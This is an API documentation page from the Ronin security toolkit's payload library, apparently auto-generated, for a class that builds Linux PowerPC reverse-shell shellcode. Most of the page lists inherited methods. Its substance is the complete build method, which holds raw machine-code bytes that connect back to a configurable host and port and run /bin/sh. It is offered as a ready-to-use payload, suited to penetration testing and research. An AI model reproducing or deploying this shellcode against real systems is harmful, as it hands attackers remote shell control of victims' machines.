Class: Ronin::Payloads::Shellcode::Linux::PPC::ReverseShell

Inherits:
ReverseShellPayload show all
Defined in:
lib/ronin/payloads/builtin/shellcode/linux/ppc/reverse_shell.rb

Overview

Linux PPC shellcode that spawns a connect back reverse shell.

Instance Attribute Summary

Attributes included from Mixins::PostEx

#session

Attributes inherited from Payload

#encoders, #payload

Instance Method Summary collapse

Methods inherited from ReverseShellPayload

#packed_ipv4, #packed_ipv6, #packed_port

Methods included from Mixins::Network

#pack_ipv4, #pack_ipv6, #pack_port

Methods included from Mixins::ResolveHost

#host_address, #host_addresses, #host_ip_address, #host_ip_addresses, #host_ipv4_address, #host_ipv4_addresses, #host_ipv6_address, #host_ipv6_addresses

Methods included from Mixins::ReverseShell

#host, included, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #port

Methods included from Mixins::PostEx

#perform_cleanup

Methods inherited from Ronin::Payloads::ShellcodePayload

payload_type, #shellcode

Methods inherited from ASMPayload

#assemble, assembler, payload_type

Methods included from Metadata::OS

included, #os, #os_version

Methods included from Metadata::Arch

#arch, included

Methods inherited from BinaryPayload

payload_type

Methods inherited from Payload

#built?, #built_payload, #bytesize, #cleanup, #encode_payload, #encoded_payload, encoder_class, #initialize, #length, payload_type, #perform_build, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #perform_validate, #postlaunch, #prelaunch, #rebuild_payload, #reencode_payload, register, #to_s, #validate

Constructor Details

This class inherits a constructor from Ronin::Payloads::Payload

Instance Method Details

#build ⇒ Object

Builds the shellcode.



59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
 
# File 'lib/ronin/payloads/builtin/shellcode/linux/ppc/reverse_shell.rb', line 59

def build
  sin_addr_hi = packed_ipv4[0,2]
  sin_addr_lo = packed_ipv4[2,2]

  @payload = "\x7c\x3f\x0b\x78" \
             "\x3b\x40\x01\x0e" \
             "\x3b\x5a\xfe\xf4" \
             "\x7f\x43\xd3\x78" \
             "\x3b\x60\x01\x0d" \
             "\x3b\x7b\xfe\xf4" \
             "\x7f\x64\xdb\x78" \
             "\x7c\xa5\x2a\x78" \
             "\x7c\x3c\x0b\x78" \
             "\x3b\x9c\x01\x0c" \
             "\x90\x7c\xff\x08" \
             "\x90\x9c\xff\x0c" \
             "\x90\xbc\xff\x10" \
             "\x7f\x63\xdb\x78" \
             "\x3b\xdf\x01\x0c" \
             "\x38\x9e\xff\x08" \
             "\x3b\x20\x01\x98" \
             "\x7f\x20\x16\x70" \
             "\x44\xde\xad\xf2" \
             "\x7c\x78\x1b\x78" \
             "\xb3\x5e\xff\x16" \
             "\x7f\xbd\xea\x78" \
             "\x63\xbd#{packed_port}" \
             "\xb3\xbe\xff\x18" \
             "\x3f\xa0#{sin_addr_hi}" \
             "\x63\xbd#{sin_addr_lo}" \
             "\x93\xbe\xff\x1a" \
             "\x93\x1c\xff\x08" \
             "\x3a\xde\xff\x16" \
             "\x92\xdc\xff\x0c" \
             "\x3b\xa0\x01\x1c" \
             "\x38\xbd\xfe\xf4" \
             "\x90\xbc\xff\x10" \
             "\x7f\x20\x16\x70" \
             "\x7c\x7a\xda\x14" \
             "\x38\x9c\xff\x08" \
             "\x44\xde\xad\xf2" \
             "\x7f\x03\xc3\x78" \
             "\x7c\x84\x22\x78" \
             "\x3a\xe0\x01\xf8" \
             "\x7e\xe0\x1e\x70" \
             "\x44\xde\xad\xf2" \
             "\x7f\x03\xc3\x78" \
             "\x7f\x64\xdb\x78" \
             "\x7e\xe0\x1e\x70" \
             "\x44\xde\xad\xf2".b

  if params[:with_stderr]
    @payload += "\x7f\x03\xc3\x78" \
                "\x7f\x44\xd3\x78" \
                "\x7e\xe0\x1e\x70" \
                "\x44\xde\xad\xf2".b
  end

  @payload += "\x7c\xa5\x2a\x79" \
              "\x42\x40\xff\x35" \
              "\x7f\x08\x02\xa6" \
              "\x3b\x18\x01\x34" \
              "\x98\xb8\xfe\xfb" \
              "\x38\x78\xfe\xf4" \
              "\x90\x61\xff\xf8" \
              "\x38\x81\xff\xf8" \
              "\x90\xa1\xff\xfc" \
              "\x3b\xc0\x01\x60" \
              "\x7f\xc0\x2e\x70" \
              "\x44\xde\xad\xf2" \
              "/bin/shZ"
end